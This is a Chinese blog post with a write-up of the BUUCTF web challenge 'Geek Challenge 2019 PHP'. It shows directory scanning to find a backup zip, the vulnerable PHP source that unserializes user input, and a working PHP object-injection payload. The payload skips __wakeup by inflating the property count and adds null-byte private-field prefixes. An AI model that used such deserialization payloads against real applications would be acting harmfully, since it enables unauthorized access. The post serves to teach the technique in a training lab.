首页 > 编程语言 >[BUUCTF][WEB][极客大挑战 2019]PHP 1

[BUUCTF][WEB][极客大挑战 2019]PHP 1

时间:2022-12-11 22:12:11浏览次数:61  
标签:username WEB password BUUCTF 序列化 echo flag 极客 php

打开靶机URL
看到字面提示
因为每次猫猫都在我键盘上乱跳,所以我有一个良好的备份网站的习惯不愧是我!!!
说明该网站有备份,说不定放在了Http服务器的某个目录下
那么这里我们可以用dirsearch 扫描一下这个服务器
执行命令
dirsearch -u http://2999dfd5-1d43-4a81-a088-9e41c9dccab4.node4.buuoj.cn/ -e php > test.log
最后在log文件中找到一个 200 www.zip
浏览器输入一下url,直接下载下来
http://2999dfd5-1d43-4a81-a088-9e41c9dccab4.node4.buuoj.cn/www.zip

里面有三个php文件: index.php class.php flag.php

index.php
<?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
    ?>
这里有一个反序列化的操作,说明这题还考差了php反序列化漏洞的知识点
再看class.php
<?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();
        }
    }
}
?>

flag.php
<?php
$flag = 'Syc{dog_dog_dog_dog}';
?>
代码审计可知 username 为 admin,password位100,对象析构时就会加载flag,从而加载系统变量,最终很可能打印flag

于是构造反序列化代码

<?php
 
class Name{
    private $username = '123';
    private $password = '456';
 
    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
}
$a = new Name('admin', 100);
var_dump(serialize($a));
 
?>

保存,然后获得序列化后的字符串:O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

于是我们将参数值给select,这时候问题来了,在反序列化的时候会首先执行__wakeup()魔术方法,但是这个方法会把我们

的username重新赋值,所以我们要考虑的就是怎么跳过__wakeup(),而去执行__destruct

在反序列化时,当前属性个数大于实际属性个数时,就会跳过__wakeup(),去执行__destruct

于是我们这样构造pyload:

?select=O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

然后我们又意识到,这个变量时private

private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字

段名在序列化时,类名和字段名前面都会加上\0的前缀。字符串长度也包括所加前缀的长度

于是我们在构造一回pyload:

?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
BOOM 得到flag: flag{98e675bb-ae6c-4707-a5ae-7278d6775682}

标签:username,WEB,password,BUUCTF,序列化,echo,flag,极客,php
From: https://www.cnblogs.com/gradyblog/p/16974647.html

相关文章

  • [BUUCTF][WEB][极客大挑战 2019]BabySQL 1
    靶机打开url界面上显示,它做了更严格的过滤。看来后台是加了什么过滤逻辑老规矩先尝试时候有sql注入的可能,密码框输入123'爆出sql错误信息,说明有注入点构造万能密码注......
  • [BUUCtF][WEB][ACTF2020 新生赛]Upload 1
    打开靶机url,右键查看网页源代码其中有一段代码<divclass="light"><spanclass="glow"> <formenctype="multipart/form-data"method="post"onsubmit="returncheck......
  • [BUUCTF][WEB][极客大挑战 2019]Upload 1
    打开靶机url,看到一个页面可以上传文件上传一个图片试一下,发现上传的路径是http://a7661b03-4852-41de-9ea4-d48c47cb50f0.node4.buuoj.cn:81/upload_file.php试一下获......
  • Web应用开发必知的HTML 5编码实践方法
    本人作品,转载请注明出处HTML5现在的发展相当迅速,越来越多的浏览器开始支持HTML5的新特性,也涌现出越来越多的基于HTML5的App应用,毫无疑问,作为web开发者,必须了解和懂得HTML......
  • 【博学谷学习记录】超强总结,用心分享。Web重要知识点。
    1.网络通讯部分  1.1TCP与UDP区别?   TCP(TransmissionControlProtocol传输控制协议)是一种面向连接(连接导向)的、可靠的、基于IP的传输层协议。......
  • [BUUCTF][WEB][极客大挑战 2019]Http 1
    打开靶机提供的url右键查看网页源代码发现一个链接(Secret.php),访问看看返回:Itdoesn'tcomefrom'https://Sycsecret.buuoj.cn'这是个题眼通过burpsuite拦截请求......
  • [BUUCTF][WEB][极客大挑战 2019]Knife 1
    这题几乎是送分题目不断暗示,后台存在一句话木马拿个蚁剑连上去就完事了这里用curl连上去,演示一下,理解一下其中的原理#注意phpinfo()后面的分号不能省curl-d"Syc......
  • 使webworker中支持使用import导入模块——threads.js
    threads.js基本使用使用vue-cli创建一个项目(我这里vue--version的版本是3.11.0):vuecreatehello-world添加tool.js文件:exportfunctiongetSuffix(){return......
  • [BUUCTF][Web][极客大挑战 2019]LoveSQL 1
    打开靶机url,页面显示有两个输入框,框中输入123',发现两个框都有sql注入问题爆出一下错误YouhaveanerrorinyourSQLsyntax;checkthemanualthatcorrespondstoy......
  • IDEA创建Java Web项目
    ✅作者简介:热爱国学的Java后端开发者,修心和技术同步精进。......